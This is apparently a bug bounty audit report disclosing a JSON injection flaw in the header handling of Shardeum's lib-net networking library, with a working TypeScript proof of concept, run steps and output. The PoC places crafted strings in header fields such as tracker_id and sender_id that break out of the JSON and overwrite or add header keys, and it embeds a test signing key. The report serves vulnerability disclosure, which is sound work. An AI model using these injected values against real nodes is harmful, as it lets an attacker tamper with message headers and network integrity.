#39463 [BC-Insight] `multiSendWithHeader` and `sendWithHeader` have JSON injection vulnerability
Submitted on Jan 30th 2025 at 17:30:22 UTC by @Pig46940 for Audit Comp | Shardeum: Core III
Report ID: #39463
Report Type: Blockchain/DLT
Report severity: Insight
Target: https://github.com/shardeum/lib-net/tree/bugbounty
Impacts:
Shutdown of greater than 10% or equal to but less than 30% of network processing nodes without brute force actions, but does not shut down the network
Description
Brief/Intro
The multiSendWithHeader
and sendWithHeader
functions are vulnerable to JSON injection due to a lack of format validation in the Rust component (header_v1.rs
). This security gap exposes the system to potential exploitation.
Vulnerability Details
Both multiSendWithHeader
and sendWithHeader
rely on the AppHeader
, which in turn uses the send_with_header
function from the Rust component. The function's reliance on manual JSON string formatting within header_v1.rs
without proper escaping introduces a significant risk. This oversight can be easily exploited, enabling malicious JSON injection.
Impact Details
This vulnerability allows attackers to manipulate header information, potentially overwriting existing data or injecting arbitrary header values. The ability to modify headers poses a risk to the integrity and security of the system, making this issue urgent to address.
References
For more technical details:
Proof of Concept
Proof of Concept
This vulnerability allows an attacker to demonstrate how JSON injection can overwrite existing header data and inject arbitrary, unintended values.
PoC code
import { Command } from 'commander'
import { Sn } from '../.'
import { AppHeader, Sign } from '../build/src/types'
const setupLruSender = (port: number, lruSize: number) => {
return Sn({
port,
address: '127.0.0.1',
crypto: {
signingSecretKeyHex:
'c3774b92cc8850fb4026b073081290b82cab3c0f66cac250b4d710ee9aaf83ed8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d',
hashKey: '69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc',
},
senderOpts: {
useLruCache: true,
lruSize: lruSize,
},
headerOpts: {
sendHeaderVersion: 1,
},
})
}
const main = async () => {
console.log('Starting cli...')
const program = new Command()
program.requiredOption('-p, --port <port>', 'Port to listen on')
program.option('-c, --cache <size>', 'Size of the LRU cache', '2')
program.parse(process.argv)
const port = program.port.toString()
const cacheSize = program.cache.toString()
console.log(`Starting listener on port ${port} with cache size ${cacheSize}`)
const sn = setupLruSender(+port, +cacheSize)
const input = process.stdin
/*
Send arbitrary JSON injection data.
This can overwrite existing JSON data and add arbitrary data.
*/
input.addListener('data', async (data: Buffer) => {
const inputs = data.toString().trim().split(' ')
if (inputs.length === 3) {
const message = inputs[2]
await sn.sendWithHeader(
+inputs[1],
'127.0.0.1',
{ message, fromPort: +port },
{
compression: 'Brotli',
tracker_id: "\",\"inject\":\"This is arbitrary data",
verification_data: "\",\"tracker_id\":\"po\",\"message_length\":\"99\",\"verification_data\":\"po",
sender_id: "\",\"uuid\":\"po\",\"compression\":\"po\",\"sender_id\":\"po",
},
1000,
(data: unknown, header?: AppHeader) => {
console.log('onResp: Received response:', JSON.stringify(data, null, 2))
if (header) {
console.log('onResp: Received header:', JSON.stringify(header, null, 2))
}
}
)
console.log('Message sent')
} else if (inputs.length === 2) {
sn.evictSocket(+inputs[1], '127.0.0.1')
console.log('Cache cleared')
} else {
console.log('=> send <port> <message>')
console.log('=> clear <port>')
}
})
sn.listen(async (data: any, remote, respond, header, sign) => {
if (data && data.message === 'ping') {
console.log('Received ping from:', data.fromPort)
console.log('Ping header:', JSON.stringify(header, null, 2))
// await sleep(10000)
return respond(
{ message: 'pong', fromPort: +port },
{
compression: 'Brotli',
}
)
}
if (data && data.message === 'pong') {
console.log('Received pong from:', data.fromPort)
}
if (header) {
console.log('Received header:', JSON.stringify(header, null, 2))
}
if (sign) {
console.log('Received signature:', JSON.stringify(sign, null, 2))
}
})
}
const sleep = (ms: number) => {
return new Promise((resolve) => setTimeout(resolve, ms))
}
main().catch((err) => console.log('ERROR: ', err))
How to run
Installation
$ git clone https://github.com/shardeum/lib-net.git
$ cd lib-net
$ npm install
$ npm build
$ npm install -g ts-node
Run Server
Create PoC code into lib-net/test
as a test_poc.ts
Terminal1 Sending server
$ ts-node test/test_poc.ts -p 3000 -c 2
Terminal 2 Receiving server
$ ts-node test/test_poc.ts -p 3001 -c 2
Send header
Send JSON injection data to Terminal2
terminal1 Send data to the terminal2
send 3001 poc
Output
Not only can it overwrite existing data, but it can also add arbitrary JSON data using escaped string data.
Received header: {
"uuid": "po", // Overwrited
"message_length": "99", // Overwrited
"sender_id": "po", // Overwrited
"compression": "po", // Overwrited
"tracker_id": "po", // Overwrited
"inject": "This is arbitrary data", // Added arbitrary data
"verification_data": "po" // Overwrited
}
Received signature: {
"owner": "8088b37f6f458104515ae18c2a05bde890199322f62ab5114d20c77bde5e6c9d",
"sig": "40e7f4b408298babd24ceff1d66594692dcb8070a0826db9139d8f76a6efcecbedf1996b0de423eb55ab261e5bddedd08fb176c6d50e000f462844f74a27b90915023cfee8c590b6e7ba0d3d6dc8cb185e63d519fbd781e937b17292396bf0f0"
}
Was this helpful?